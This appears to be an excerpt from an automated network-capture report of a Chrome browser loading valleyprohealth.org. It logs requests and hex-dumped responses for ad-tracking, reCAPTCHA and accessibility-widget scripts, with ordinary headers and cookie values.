55 46 4e 49 52 6a 6c 52 64 57 5a 59 54 57 55 78 54 45 68 Data Ascii: SXdPRmNnZHFtRFMrb2dJMndaU01RWXF4bWxNamtrSG9sR3o1bW85Q3NuTitYY3hJVmpORjhyemVjWmR5TVFSZnpCSC95UGV5eitkME5Hc21rY0UwSTQzQkhDeEF6RzFyL3Q3ODJyZGZZL0UxSjE2dkxPbkVpSjV6TWFrb0hyYktodFhkQXlaNlRBbk1EcGxwSHdDaW1LeGN6MGVkU1p5OWhjRTB0NWVxdXM4TXAwTU1KUFNIRjlRdWZYTWUxTEh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	50159	18.154.142.121	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:16 UTC	857	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjcy-Dx45nyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:45:16 UTC	533	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 488 Connection: close Last-Modified: Fri, 12 Apr 2024 16:30:41 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Wed, 24 Apr 2024 09:49:03 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c9fff1d399146ad5086b24b243b1d7ca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P4 X-Amz-Cf-Id: TNPijMsd0SgBOHcxMmYx4-oHTI0YyU9OEegsJciyvZWpVX71hzrquQ== Age: 10756
2024-04-24 12:45:16 UTC	488	IN	Data Raw: 76 61 72 20 54 54 44 43 4d 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 20 7b 20 76 61 72 20 65 20 3d 20 22 69 66 72 61 6d 65 5f 22 20 2b 20 74 68 69 73 2e 6d 61 70 49 6e 64 65 78 2b 2b 2c 20 69 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 20 65 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 54 72 61 6e 73 70 61 72 65 6e 63 79 22 2c 20 21 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 Data Ascii: var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	50164	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:17 UTC	966	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:17 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Wed, 24 Apr 2024 12:45:17 GMT Date: Wed, 24 Apr 2024 12:45:17 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:17 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js');
2024-04-24 12:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	50165	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:17 UTC	843	OUT	GET /js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:17 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18278 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Apr 2024 07:58:41 GMT Expires: Thu, 24 Apr 2025 07:58:41 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 16 Apr 2024 13:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 17196 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:17 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 52 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 69 66 28 21 28 59 3d 28 6e 3d 6e 75 6c 6c 2c 52 2e 74 72 75 73 74 65 64 54 79 70 65 73 29 2c 59 29 7c 7c 21 59 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 6e 3b 74 72 79 7b 6e 3d 59 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var R=this\|\|self,L=function(n){return n},D=function(n,Y){if(!(Y=(n=null,R.trustedTypes),Y)\|\|!Y.createPolicy)return n;try{n=Y.createPolicy("bg",{createHTM
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 64 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 22 22 2b 64 7d 7d 28 52 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 6e 57 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 72 65 74 75 72 6e 20 59 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 3c 6e 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 6e 5b 59 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 59 4b Data Ascii: eateScript(d)}:function(d){return""+d}}(R)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var nW=function(n,Y){return Y=0,function(){return Y<n.length?{done:false,value:n[Y++]}:{done:true}}},YK
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 61 6c 73 65 29 7d 2c 28 6e 2e 56 3d 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 57 29 7b 72 65 74 75 72 6e 20 6e 2e 7a 5a 28 57 29 7d 29 29 7d 65 6c 73 65 7b 69 66 28 6d 3d 3d 6d 47 29 72 65 74 75 72 6e 20 52 3d 59 5b 32 5d 2c 7a 28 33 38 38 2c 6e 2c 59 5b 36 5d 29 2c 7a 28 34 30 39 2c 6e 2c 52 29 2c 6e 2e 58 28 59 29 3b 6d 3d 3d 69 71 3f 28 6e 2e 54 3d 6e 75 6c 6c 2c 6e 2e 52 67 3d 5b 5d 2c 6e 2e 4e 3d 5b 5d 29 3a 6d 3d 3d 68 53 26 26 22 6c 6f 61 64 69 6e 67 22 3d 3d 3d 75 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 28 6e 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 57 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 72 7c 7c 28 72 3d 74 72 75 65 2c 57 28 29 29 7d 28 72 3d 66 61 6c 73 65 2c 75 2e 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 Data Ascii: alse)},(n.V=[],function(W){return n.zZ(W)}))}else{if(m==mG)return R=Y[2],z(388,n,Y[6]),z(409,n,R),n.X(Y);m==iq?(n.T=null,n.Rg=[],n.N=[]):m==hS&&"loading"===u.document.readyState&&(n.J=function(W,r){function d(){r\|\|(r=true,W())}(r=false,u.document.addEvent
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 74 69 6f 6e 28 29 7b 71 28 74 72 75 65 2c 6e 2c 74 72 75 65 29 7d 29 3b 62 72 65 61 6b 7d 7d 72 65 74 75 72 6e 20 4c 7d 2c 6b 4b 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 29 7b 77 28 28 4c 3d 62 28 6e 29 2c 52 3d 62 28 6e 29 2c 52 29 2c 56 28 59 2c 5a 28 4c 2c 6e 29 29 2c 6e 29 7d 2c 53 5f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 72 65 74 75 72 6e 20 4e 5b 59 5d 28 4e 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 70 61 72 65 6e 74 3a 6e 2c 66 6c 6f 6f 72 3a 6e 2c 70 72 6f 74 6f 74 79 70 65 3a 6e 2c 73 70 6c 69 63 65 3a 6e 2c 64 6f 63 75 6d 65 6e 74 3a 6e 2c 63 6f 6e 73 6f 6c 65 3a 6e 2c 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 3a 6e 2c 72 65 70 6c 61 63 65 3a 6e 2c 70 6f 70 3a 6e 2c 63 61 6c 6c 3a 6e 2c 73 74 61 63 6b 3a 6e 2c 6c 65 Data Ascii: tion(){q(true,n,true)});break}}return L},kK=function(n,Y,R,L){w((L=b(n),R=b(n),R),V(Y,Z(L,n)),n)},S_=function(n,Y){return N[Y](N.prototype,{parent:n,floor:n,prototype:n,splice:n,document:n,console:n,propertyIsEnumerable:n,replace:n,pop:n,call:n,stack:n,le
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 31 39 36 3d 3d 6e 3f 59 2e 54 5b 6e 5d 7c 7c 28 59 2e 54 5b 6e 5d 3d 4a 53 28 6e 2c 38 36 2c 52 2c 59 29 29 3a 59 2e 54 5b 6e 5d 3d 4a 53 28 6e 2c 35 37 2c 52 2c 59 29 7d 34 35 38 3d 3d 6e 26 26 28 59 2e 6c 3d 58 28 59 2c 33 32 2c 66 61 6c 73 65 29 2c 59 2e 59 3d 76 6f 69 64 20 30 29 7d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 29 7b 66 6f 72 28 52 3d 28 28 4c 3d 5b 5d 2c 6e 29 7c 30 29 2d 31 3b 30 3c 3d 52 3b 52 2d 2d 29 4c 5b 28 6e 7c 30 29 2d 31 2d 28 52 7c 30 29 5d 3d 59 3e 3e 38 2a 52 26 32 35 35 3b 72 65 74 75 72 6e 20 4c 7d 2c 73 55 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 29 7b 66 75 6e 63 74 69 6f 6e 20 57 28 29 7b 7d 72 65 74 75 72 6e 7b 69 6e 76 6f 6b 65 3a 28 52 3d 28 4c 3d 28 6e 3d 57 62 28 6e 2c 66 75 6e 63 74 Data Ascii: 196==n?Y.T[n]\|\|(Y.T[n]=JS(n,86,R,Y)):Y.T[n]=JS(n,57,R,Y)}458==n&&(Y.l=X(Y,32,false),Y.Y=void 0)},V=function(n,Y,R,L){for(R=((L=[],n)\|0)-1;0<=R;R--)L[(n\|0)-1-(R\|0)]=Y>>8*R&255;return L},sU=function(n,Y,R,L,m){function W(){}return{invoke:(R=(L=(n=Wb(n,funct
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 20 6e 2e 41 3f 59 4b 28 6e 2e 43 2c 6e 29 3a 58 28 6e 2c 38 2c 74 72 75 65 29 7d 2c 55 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 29 7b 6d 3d 74 68 69 73 3b 74 72 79 7b 51 4c 28 74 68 69 73 2c 59 2c 52 2c 4c 2c 6e 29 7d 63 61 74 63 68 28 57 29 7b 61 28 74 68 69 73 2c 57 29 2c 52 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6d 2e 68 29 7d 29 7d 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 29 7b 28 7a 28 59 2c 6e 2c 52 29 2c 52 29 5b 68 53 5d 3d 32 37 39 36 7d 2c 41 53 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 2c 57 29 7b 69 66 28 21 59 2e 68 29 7b 59 2e 75 2b 2b 3b 74 72 79 7b 66 6f 72 28 4c 3d 76 6f 69 64 20 30 2c 52 3d 30 2c 6d 3d 59 2e 4f 3b 2d 2d 6e 3b 29 74 72 79 7b 69 66 28 28 57 3d 76 6f 69 64 20 30 2c 59 29 2e Data Ascii: n.A?YK(n.C,n):X(n,8,true)},U=function(n,Y,R,L,m){m=this;try{QL(this,Y,R,L,n)}catch(W){a(this,W),R(function(r){r(m.h)})}},T=function(n,Y,R){(z(Y,n,R),R)[hS]=2796},AS=function(n,Y,R,L,m,W){if(!Y.h){Y.u++;try{for(L=void 0,R=0,m=Y.O;--n;)try{if((W=void 0,Y).
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 6c 5e 3d 6d 2a 28 44 3c 3c 32 29 29 2c 52 29 2e 52 3d 6d 7c 7c 52 2e 52 2c 52 29 2e 47 2b 3d 6d 2c 57 29 7c 7c 72 29 52 2e 57 3d 30 2c 52 2e 46 3d 64 3b 69 66 28 21 72 7c 7c 64 2d 52 2e 44 3c 52 2e 68 7a 2d 28 4c 3f 32 35 35 3a 6e 3f 35 3a 32 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 21 28 52 2e 4a 3d 28 28 7a 28 34 35 34 2c 52 2c 28 52 2e 6b 66 3d 59 2c 4c 3d 5a 28 6e 3f 37 35 3a 34 35 34 2c 52 29 2c 52 29 2e 4f 29 2c 52 2e 69 29 2e 70 75 73 68 28 5b 52 31 2c 4c 2c 6e 3f 59 2b 31 3a 59 2c 52 2e 53 2c 52 2e 48 2c 52 2e 76 2c 52 2e 42 5d 29 2c 6c 71 29 2c 30 29 7d 2c 76 62 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 29 7b 72 65 74 75 72 6e 20 6e 2e 54 5a 28 66 75 6e 63 74 69 6f 6e 28 4c 29 7b 52 3d 4c 7d 2c 66 61 6c 73 65 2c 59 29 2c Data Ascii: l^=m*(D<<2)),R).R=m\|\|R.R,R).G+=m,W)\|\|r)R.W=0,R.F=d;if(!r\|\|d-R.D<R.hz-(L?255:n?5:2))return false;return!(R.J=((z(454,R,(R.kf=Y,L=Z(n?75:454,R),R).O),R.i).push([R1,L,n?Y+1:Y,R.S,R.H,R.v,R.B]),lq),0)},vb=function(n,Y,R){return n.TZ(function(L){R=L},false,Y),
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 63 61 74 28 29 7d 7d 2c 28 6e 2e 46 39 3d 4e 53 2c 6e 2e 4e 49 3d 28 6e 2e 63 24 3d 6e 5b 53 5d 2c 5a 59 29 2c 6e 2e 5a 29 29 2c 6e 29 2e 6d 6b 3d 4e 5b 6e 2e 5a 5d 28 6e 2e 59 66 2c 7b 76 61 6c 75 65 3a 7b 76 61 6c 75 65 3a 7b 7d 7d 7d 29 2c 30 29 2c 5b 5d 29 3b 33 34 36 3e 72 3b 72 2b 2b 29 57 5b 72 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 72 29 3b 71 28 74 72 75 65 2c 6e 2c 28 6c 28 28 6c 28 5b 28 28 54 28 6e 2c 32 39 37 2c 28 54 28 6e 2c 28 7a 28 31 39 36 2c 6e 2c 28 7a 28 34 30 39 2c 28 54 28 6e 2c 28 54 28 6e 2c 32 35 35 2c 28 54 28 28 7a 28 33 35 33 2c 6e 2c 28 54 28 6e 2c 28 7a 28 31 38 36 2c 6e 2c 28 7a 28 31 37 37 2c 28 54 28 6e 2c 32 38 37 2c 28 7a 28 34 Data Ascii: tion(){return this.concat()}},(n.F9=NS,n.NI=(n.c$=n[S],ZY),n.Z)),n).mk=N[n.Z](n.Yf,{value:{value:{}}}),0),[]);346>r;r++)W[r]=String.fromCharCode(r);q(true,n,(l((l([((T(n,297,(T(n,(z(196,n,(z(409,(T(n,(T(n,255,(T((z(353,n,(T(n,(z(186,n,(z(177,(T(n,287,(z(4
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 64 29 2c 64 29 29 3b 54 28 64 2c 46 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 4b 2c 70 2c 63 29 7b 66 6f 72 28 65 3d 28 70 3d 5b 5d 2c 30 29 2c 4b 3d 5b 5d 3b 65 3c 6b 3b 65 2b 2b 29 7b 69 66 28 21 28 63 3d 44 5b 65 5d 2c 66 5b 65 5d 29 29 7b 66 6f 72 28 3b 63 3e 3d 70 2e 6c 65 6e 67 74 68 3b 29 70 2e 70 75 73 68 28 62 28 74 29 29 3b 63 3d 70 5b 63 5d 7d 4b 2e 70 75 73 68 28 63 29 7d 74 2e 43 3d 28 74 2e 41 3d 66 57 28 45 2e 73 6c 69 63 65 28 29 2c 74 29 2c 66 57 28 4b 2c 74 29 29 7d 29 7d 29 2c 33 31 31 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 2c 6b 29 7b 28 44 3d 28 50 3d 5a 28 28 68 3d 28 6b 3d 5a 28 28 50 3d 62 28 28 68 3d 62 28 28 44 3d 28 6b 3d 62 28 64 29 2c 62 29 28 64 29 2c 64 29 29 2c 64 29 29 2c 6b 29 2c 64 2e 52 29 2c 5a 29 28 68 Data Ascii: d),d));T(d,F,function(t,e,K,p,c){for(e=(p=[],0),K=[];e<k;e++){if(!(c=D[e],f[e])){for(;c>=p.length;)p.push(b(t));c=p[c]}K.push(c)}t.C=(t.A=fW(E.slice(),t),fW(K,t))})}),311),function(d,D,h,P,k){(D=(P=Z((h=(k=Z((P=b((h=b((D=(k=b(d),b)(d),d)),d)),k),d.R),Z)(h
2024-04-24 12:45:17 UTC	1255	IN	Data Raw: 29 7b 45 55 28 64 2c 33 29 7d 29 29 2c 6e 29 2c 5b 5d 29 2c 5b 5d 29 29 2c 49 28 34 29 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 29 7b 21 4f 28 74 72 75 65 2c 44 2c 64 2c 66 61 6c 73 65 29 26 26 28 44 3d 42 62 28 64 29 2c 50 3d 44 2e 4f 5f 2c 68 3d 44 2e 6c 53 2c 64 2e 52 3d 3d 64 7c 7c 50 3d 3d 64 2e 45 5f 26 26 68 3d 3d 64 29 26 26 28 7a 28 44 2e 4a 7a 2c 64 2c 50 2e 61 70 70 6c 79 28 68 2c 44 2e 73 29 29 2c 64 2e 46 3d 64 2e 4b 28 29 29 7d 29 29 2c 5b 31 36 30 2c 30 2c 30 5d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 29 7b 44 3d 62 28 28 68 3d 62 28 64 29 2c 64 29 29 2c 7a 28 44 2c 64 2c 22 22 2b 5a 28 68 2c 64 29 29 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 29 7b 7a 28 28 50 3d 5a 28 28 44 3d 28 44 3d 62 28 28 Data Ascii: ){EU(d,3)})),n),[]),[])),I(4))),function(d,D,h,P){!O(true,D,d,false)&&(D=Bb(d),P=D.O_,h=D.lS,d.R==d\|\|P==d.E_&&h==d)&&(z(D.Jz,d,P.apply(h,D.s)),d.F=d.K())})),[160,0,0])),function(d,D,h){D=b((h=b(d),d)),z(D,d,""+Z(h,d))})),function(d,D,h,P){z((P=Z((D=(D=b((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	50171	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:19 UTC	676	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
2024-04-24 12:45:19 UTC	823	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:45:19 GMT Connection: close x-guploader-uploadid: ABPtcPpeZPkLOmWjU8fnVqP9PmemnSkyFY41Jn4sXreV6Lu6G4oZyTW0bj2V5lOPc7ValKe1Jz5lbEYC_w x-goog-generation: 1713916803534148 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Thu, 24 Apr 2025 12:45:09 GMT Cache-Control: no-cache last-modified: Wed, 24 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" Age: 10 CF-Cache-Status: HIT Server: cloudflare CF-RAY: 879630942fdf69e3-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	50173	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:19 UTC	1069	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=1ixpx082w2ai HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
